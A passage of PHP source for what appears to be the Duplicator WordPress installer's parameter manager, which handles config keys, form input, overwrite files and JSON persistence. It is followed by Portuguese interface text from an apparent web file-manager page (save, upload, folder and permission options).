PARAM_WP_CONF_DISABLE_WP_CRON = 'wpc_DISABLE_WP_CRON'; const PARAM_WP_CONF_WP_CRON_LOCK_TIMEOUT = 'wpc_WP_CRON_LOCK_TIMEOUT'; const PARAM_WP_CONF_COOKIEPATH = 'wpc_COOKIEPATH'; const PARAM_WP_CONF_SITECOOKIEPATH = 'wpc_SITECOOKIEPATH'; const PARAM_WP_CONF_ADMIN_COOKIE_PATH = 'wpc_ADMIN_COOKIE_PATH'; const PARAM_WP_CONF_PLUGINS_COOKIE_PATH = 'wpc_PLUGINS_COOKIE_PATH'; const PARAM_WP_CONF_TEMPLATEPATH = 'wpc_TEMPLATEPATH'; const PARAM_WP_CONF_STYLESHEETPATH = 'wpc_STYLESHEETPATH'; const PARAM_WP_CONF_EMPTY_TRASH_DAYS = 'wpc_EMPTY_TRASH_DAYS'; const PARAM_WP_CONF_WP_ALLOW_REPAIR = 'wpc_WP_ALLOW_REPAIR'; const PARAM_WP_CONF_DO_NOT_UPGRADE_GLOBAL_TABLES = 'wpc_DO_NOT_UPGRADE_GLOBAL_TABLES'; const PARAM_WP_CONF_DISALLOW_FILE_EDIT = 'wpc_DISALLOW_FILE_EDIT'; const PARAM_WP_CONF_DISALLOW_FILE_MODS = 'wpc_DISALLOW_FILE_MODS'; const PARAM_WP_CONF_FORCE_SSL_ADMIN = 'wpc_FORCE_SSL_ADMIN'; const PARAM_WP_CONF_WP_HTTP_BLOCK_EXTERNAL = 'wpc_WP_HTTP_BLOCK_EXTERNAL'; const PARAM_WP_CONF_WP_ACCESSIBLE_HOSTS = 'wpc_WP_ACCESSIBLE_HOSTS'; const PARAM_WP_CONF_AUTOMATIC_UPDATER_DISABLED = 'wpc_AUTOMATIC_UPDATER_DISABLED'; const PARAM_WP_CONF_WP_AUTO_UPDATE_CORE = 'wpc_WP_AUTO_UPDATE_CORE'; const PARAM_WP_CONF_IMAGE_EDIT_OVERWRITE = 'wpc_IMAGE_EDIT_OVERWRITE'; const PARAM_WP_CONF_WPMU_PLUGIN_DIR = 'wpc_WPMU_PLUGIN_DIR'; const PARAM_WP_CONF_WPMU_PLUGIN_URL = 'wpc_WPMU_PLUGIN_URL'; const PARAM_WP_CONF_MUPLUGINDIR = 'wpc_MUPLUGINDIR'; // OTHER WP CONFIG SETTINGS NOT IN WP CORE const PARAM_WP_CONF_WPCACHEHOME = 'wpc_WPCACHEHOME'; const PARAM_FINAL_REPORT_DATA = 'final_report'; const PARAM_AUTO_CLEAN_INSTALLER_FILES = 'auto-delete'; /** * * @var self */ private static $instance = null; /** * * @var bool */ private static $initialized = false; /** * * @var ParamForm[] */ private $params = array(); /** * * @var array */ private $paramsHtmlInfo = array(); /** * * @return self */ public static function getInstance() { if (is_null(self::$instance)) { self::$instance = new self(); } return self::$instance; } /** * __construct * * @return void */ private function __construct() { ParamsDescriptors::init(); } /** * * @return boolean * @throws \Exception */ public function initParams() { if (self::$initialized) { // prevent multiple inizialization return true; } self::$initialized = true; ParamsDescriptors::initParams($this->params); $this->params = HooksMng::getInstance()->applyFilters('installer_get_init_params', $this->params); $this->paramsHtmlInfo[] = '***** INIT PARAMS WITH STD VALUlES'; return true; } /** * get value of param key. * thorw execption if key don't exists * * @param string $key param key * * @return mixed * * @throws \Exception */ public function getValue($key) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } return $this->params[$key]->getValue(); } /** * Get param status * * @param string $key param key * * @return string // STATUS_INIT | STATUS_OVERWRITE | STATUS_UPD_FROM_INPUT * * @throws \Exception */ public function getInitStatus($key) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'does not exists'); } return $this->params[$key]->getStatus(); } /** * get the label of param key. * thorw execption if key don't exists * * @param string $key param key * * @return string * * @throws \Exception */ public function getLabel($key) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } return rtrim($this->params[$key]->getLabel(), ": \n\t"); } /** * Set param value * * @param string $key param key * @param mixed $value value * * @return boolean // return false if params isn't valid * * @throws \Exception // if key don't exists */ public function setValue($key, $value) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } return $this->params[$key]->setValue($value); } /** * this cungion set value get from input method. * * @param string $key param key * @param string $method input method (GET, POST ... ) * @param boolean $thowException if true throw exception if value isn't valid. * @param boolean $nextStepErrorMessage if true and param isn't valid add next step message * * @return boolean */ public function setValueFromInput($key, $method = ParamForm::INPUT_POST, $thowException = true, $nextStepErrorMessage = false) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (($result = $this->params[$key]->setValueFromInput($method)) === false) { $this->paramsHtmlInfo[] = 'INVALID VALUE INPUT <b>' . $key . '</b>'; if ($nextStepErrorMessage) { $this->addParamValidationFaliedNotice($key); } if ($thowException) { $errorMessage = 'Parameter "' . $this->getLabel($key) . '" have invalid value'; throw new \Exception('PARAM ERROR: ' . $errorMessage); } } else { $this->paramsHtmlInfo[] = 'SET FROM INPUT <b>' . $key . '</b> VALUE: ' . Log::v2str($this->params[$key]->getValue()); } return $result; } /** * Add next step validation failed notice * * @param string $key param key * * @return void */ public function addParamValidationFaliedNotice($key) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } $longMessage = '<b>' . $this->getLabel($key) . '</b> ' . $this->params[$key]->getInvalidMessage() . "<br>\n"; \DUPX_NOTICE_MANAGER::getInstance()->addNextStepNotice(array( 'shortMsg' => 'Parameter validation failed', 'level' => \DUPX_NOTICE_ITEM::CRITICAL, 'longMsg' => $longMessage, 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'params_validation_fail'); } /** * Return the form param wrapper id * * @param string $key param key * * @return boolean|string return false if the item key isn't a instance of ParamForm */ public function getFormWrapperId($key) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (method_exists($this->params[$key], 'getFormWrapperId')) { return $this->params[$key]->getFormWrapperId(); } else { return false; } } /** * Return form item id * * @param string $key param key * * @return boolean|string return false if the item key isn't a instance of ParamForm */ public function getFormItemId($key) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (method_exists($this->params[$key], 'getFormItemId')) { return $this->params[$key]->getFormItemId(); } else { return false; } } /** * Get param form status * * @param string $key param key * * @return boolean|string return false if the item key isn't a instance of ParamForm */ public function getFormStatus($key) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (method_exists($this->params[$key], 'getFormStatus')) { return $this->params[$key]->getFormStatus(); } else { return false; } } /** * Set form param status * * @param string $key param key * @param string|callable $status STATUS_ENABLED , STATUS_READONLY or callable function * * @return boolean|string return false if the item key isn't a instance of ParamForm */ public function setFormStatus($key, $status) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (method_exists($this->params[$key], 'setFormAttr')) { return $this->params[$key]->setFormAttr('status', $status); } else { return false; } } /** * Set form wrapper class * * @param string $key param key * @param string $class wrapper class * * @return boolean|string return false if the item key isn't a instance of ParamForm */ public function addFormWrapperClass($key, $class) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (method_exists($this->params[$key], 'addWrapperClass')) { return $this->params[$key]->addWrapperClass($class); } else { return false; } } /** * Remove form wrapper class * * @param string $key param key * @param string $class wrapper class * * @return boolean|string return false if the item key isn't a instance of ParamForm */ public function removeFormWrapperClass($key, $class) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (method_exists($this->params[$key], 'removeWrapperClass')) { return $this->params[$key]->removeWrapperClass($class); } else { return false; } } /** * This tunction add o remove note on the param form * * @param string $key param key * @param string $htmlString true if is html * * @return boolean */ public function setFormNote($key, $htmlString) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (method_exists($this->params[$key], 'setFormAttr')) { $this->params[$key]->setFormAttr('subNote', $htmlString); return true; } else { return false; } } /** * return true if the input exists in html form * false if isn't ParamForm object or status is STATUS_INFO_ONLY or STATUS_SKIP * * @param string $key param key * * @return boolean */ public function isHtmlInput($key) { $status = $this->getFormStatus($key); switch ($status) { case ParamForm::STATUS_ENABLED: case ParamForm::STATUS_READONLY: case ParamForm::STATUS_DISABLED: return true; case ParamForm::STATUS_INFO_ONLY: case ParamForm::STATUS_SKIP: default: return false; } } /** * get the input form html * * @param string $key the param identifier * @param mixed $overwriteValue if not null set overwriteValue begore get html * (IMPORTANT: the stored param value don't change. To change it use setValue.) * @param bool $echo true echo else return string * * @return bool|string return false if the item kay isn't a instance of ParamForm */ public function getHtmlFormParam($key, $overwriteValue = null, $echo = true) { if (!isset($this->params[$key])) { throw new \Exception('Param key ' . Log::v2str($key) . 'don\' exists'); } if (!($this->params[$key] instanceof ParamForm)) { return false; } if (is_null($overwriteValue)) { return $this->params[$key]->getHtml($echo); } else { $tmpParam = clone $this->params[$key]; if ($tmpParam->setValue($overwriteValue) === false) { throw new \Exception('Can\'t set overwriteValue ' . Log::v2str($overwriteValue) . ' in param:' . $tmpParam->getName()); } return $tmpParam->getHtml($echo); } } /** * Load params from persistance files * * @param boolean $reset if true reset params * * @return boolean */ public function load($reset = false) { if ($reset) { $this->resetParams(); $this->initParamsOverwrite(); return true; } else { if (!file_exists(self::getPersistanceFilePath())) { return false; } $this->paramsHtmlInfo[] = '***** LOAD PARAMS FROM PERSISTENCE FILE'; if (($json = file_get_contents(self::getPersistanceFilePath())) === false) { throw new \Exception('Can\'t read param persistence file ' . Log::v2str(self::getPersistanceFilePath())); } $arrayData = json_decode($json, true); if ($this->setParamsValues($arrayData) === false) { throw new \Exception('Can\'t set params from persistence file ' . Log::v2str(self::getPersistanceFilePath())); } return true; } } /** * Remove persistance file and all params and reinit all * * @return boolean */ protected function resetParams() { $this->paramsHtmlInfo[] = '***** RESET PARAMS'; SnapIO::rm(self::getPersistanceFilePath()); $this->params = array(); self::$initialized = false; return $this->initParams(); } /** * Ovrewrite params from sources * * @return boolean */ public function initParamsOverwrite() { Log::info('OVERWRITE PARAMS'); $this->paramsHtmlInfo[] = '***** LOAD OVERWRITE INFO'; /** * @todo temp disabled require major study * if (isset($_ENV[self::ENV_PARAMS_KEY])) { * $this->paramsHtmlInfo[] = 'LOAD FROM ENV VARS'; $arrayData = json_decode($_ENV[self::ENV_PARAMS_KEY]); $this->setParamsValues($arrayData, true); } */ // LOAD PARAMS FROM PACKAGE OVERWRITE $arrayData = (array) \DUPX_ArchiveConfig::getInstance()->overwriteInstallerParams; if (!empty($arrayData)) { $this->paramsHtmlInfo[] = '***** LOAD FROM PACKAGE OVERWRITE'; Log::info(' *** FROM PACKAGE'); if ($this->setParamsValues($arrayData, true, Log::LV_DEFAULT) === false) { throw new \Exception('Can\'t set params from package overwrite '); } } // LOAD PARAMS FROM LOCAL OVERWRITE $localOverwritePath = DUPX_ROOT . '/' . self::LOCAL_OVERWRITE_PARAMS . self::LOCAL_OVERWRITE_PARAMS_EXTENSION; if (is_readable($localOverwritePath)) { // json file is set in $localOverwritePath php file $json = null; include($localOverwritePath); if (empty($json)) { Log::info('LOCAL OVERWRITE PARAMS FILE ISN\'T WELL FORMED'); } else { $arrayData = json_decode($json, true); if (!empty($arrayData)) { $this->paramsHtmlInfo[] = '***** LOAD FROM LOCAL OVERWRITE'; Log::info(' *** FROM LOCAL FILE'); if ($this->setParamsValues($arrayData, true, Log::LV_DEFAULT) === false) { throw new \Exception('Can\'t set params from local overwrite '); } } } } // LOAD PARAMS FROM LOCAL OVERWRITE PACKAGE_HASH $localOverwritePath = DUPX_ROOT . '/' . self::LOCAL_OVERWRITE_PARAMS . '_' . Bootstrap::getPackageHash() . '.json'; if (is_readable($localOverwritePath)) { if (($json = file_get_contents($localOverwritePath)) === false) { Log::info('CAN\'T READ LOCAL OVERWRITE PARAM HASH FILE'); } else { $arrayData = json_decode($json, true); if (!empty($arrayData)) { $this->paramsHtmlInfo[] = '***** LOAD FROM LOCAL OVERWRITE HASH'; Log::info(' *** FROM LOCAL FILE'); if ($this->setParamsValues($arrayData, true, Log::LV_DEFAULT) === false) { throw new \Exception('Can\'t set params from local overwrite '); } } } } HooksMng::getInstance()->doAction('after_params_overwrite', $this->params); Log::info("********************************************************************************"); return true; } /** * Update params values from arrayData * * @param array $arrayData params data * @param boolean $overwrite if true overwrite status * @param integer $logginLevelSet log level * * @return bool returns false if a parameter has not been set */ protected function setParamsValues($arrayData, $overwrite = false, $logginLevelSet = Log::LV_DEBUG) { if (!is_array($arrayData)) { throw new \Exception('Invalid data params '); } $result = true; foreach ($arrayData as $key => $arrayValues) { if (isset($this->params[$key])) { $arrayValues = (array) $arrayValues; $arrayValValToStr = array_map(array('Duplicator\\Installer\\Utils\\Log\\Log', 'v2str'), $arrayValues); $this->paramsHtmlInfo[] = 'SET PARAM <b>' . $key . '</b> ARRAY DATA: ' . SnapString::implodeKeyVals(', ', $arrayValValToStr, '[<b>%s</b> = %s]'); if ($this->params[$key]->fromArrayData($arrayValues) === false) { Log::info('PARAM ISSUE SET KEY[' . $key . '] VALUE: ' . SnapString::implodeKeyVals(', ', $arrayValValToStr, '[%s = %s]')); Log::info(Log::traceToString(debug_backtrace())); // $result = false; } else { $log = 'PARAM SET KEY[' . $key . ']'; $log .= (Log::isLevel(Log::LV_DEBUG) ? (' VALUE: ' . SnapString::implodeKeyVals(', ', $arrayValValToStr, '[%s = %s]')) : ''); Log::info($log, $logginLevelSet); if ($overwrite) { $this->params[$key]->setOveriteStatus(); } } } } return $result; } /** * update persistance file * * @return bool\int // This function returns the number of bytes that were written to the file, or FALSE on failure. */ public function save() { Log::info("SAVE PARAMS\n" . Log::traceToString(debug_backtrace()), Log::LV_DEBUG); $arrayData = array(); foreach ($this->params as $param) { if ($param->isPersistent()) { $arrayData[$param->getName()] = $param->toArrayData(); } } $json = SnapJson::jsonEncodePPrint($arrayData); if (($result = file_put_contents(self::getPersistanceFilePath(), $json, LOCK_EX)) === false) { Log::info('PRAMS: can\'t save persistence file'); } return $result; } /** * * @staticvar string $path * @return string */ protected static function getPersistanceFilePath() { static $path = null; if (is_null($path)) { $path = DUPX_INIT . '/' . 'dup-params__' . \DUPX_Package::getPackageHash() . '.json'; } return $path; } /** * html params info for debug params * * @return void */ public function getParamsHtmlInfo() { if (!$this->getValue(self::PARAM_DEBUG_PARAMS)) { return; } ?> <div id="params-html-info"> <h3>CURRENT VALUES</h3> <ul class="values"> <?php foreach ($this->params as $param) { ?> <li> PARAM <b><?php echo $param->getName(); ?></b> VALUE: <b><?php echo htmlentities(Log::v2str($param->getValue())); ?></b> </li> <?php } ?> </ul> <h3>LOAD SEQUENCE</h3> <ul class="load-sequence"> <?php foreach ($this->paramsHtmlInfo as $info) { ?> <li> <?php echo $info; ?> </li> <?php } ?> </ul> <h3>ARCHIVE PARAM DATA</h3> <pre><?php $data = \DUPX_ArchiveConfig::getInstance(); var_dump($data); ?></pre> </div> <?php } /** * Get params value list for log * * @return string */ public function getParamsToText() { $result = array(); foreach ($this->params as $param) { if (method_exists($param, 'getFormStatus')) { $line = 'PARAM FORM ' . $param->getName() . ' VALUE: ' . Log::v2str($param->getValue()) . ' STATUS: ' . $param->getFormStatus(); } else { $line = 'PARAM ITEM ' . $param->getName() . ' VALUE: ' . Log::v2str($param->getValue()); } $result[] = $line; } return implode("\n", $result); } /** * Prevent clone object * * @return void */ private function __clone() { } }
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar